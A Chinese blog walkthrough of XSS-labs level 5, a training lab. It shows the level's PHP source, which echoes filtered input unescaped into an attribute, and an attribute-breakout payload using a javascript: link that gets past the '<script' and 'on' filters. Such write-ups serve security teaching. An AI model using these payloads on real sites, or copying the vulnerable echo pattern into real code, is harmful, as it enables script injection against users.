XSS-labs-level5详解

最新推荐文章于 2024-06-16 22:45:48 发布

仲瑿

最新推荐文章于 2024-06-16 22:45:48 发布

阅读量128

点赞数 1

分类专栏： XSS-labs 文章标签： xss 数学建模 matlab

本文链接：https://blog.csdn.net/m0_49025459/article/details/130929452

版权

XSS-labs 专栏收录该内容

9 篇文章 0 订阅

订阅专栏

访问题目url

直接上经典语句试一下

<script>alert('xss')</script>

这时候发现我们的输入的语句发生了改变

我们直接去看一下源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

经过两次特殊字符的替换：将所有“<script”替换为“<scr_ipt”，并将所有“on”替换为“o_n”。所以我们只能换一个属性进行恶意植入了

"><a href=javascript:alert('xss')>xss</a>//

点击xss即可进行弹窗操作

仲瑿

关注

1
点赞
踩
1

收藏

觉得还不错? 一键收藏
打赏
0
评论
XSS-labs-level5详解

经过两次特殊字符的替换：将所有“
复制链接

扫一扫

专栏目录

XSS-labs-level5详解

“相关推荐”对你有帮助么？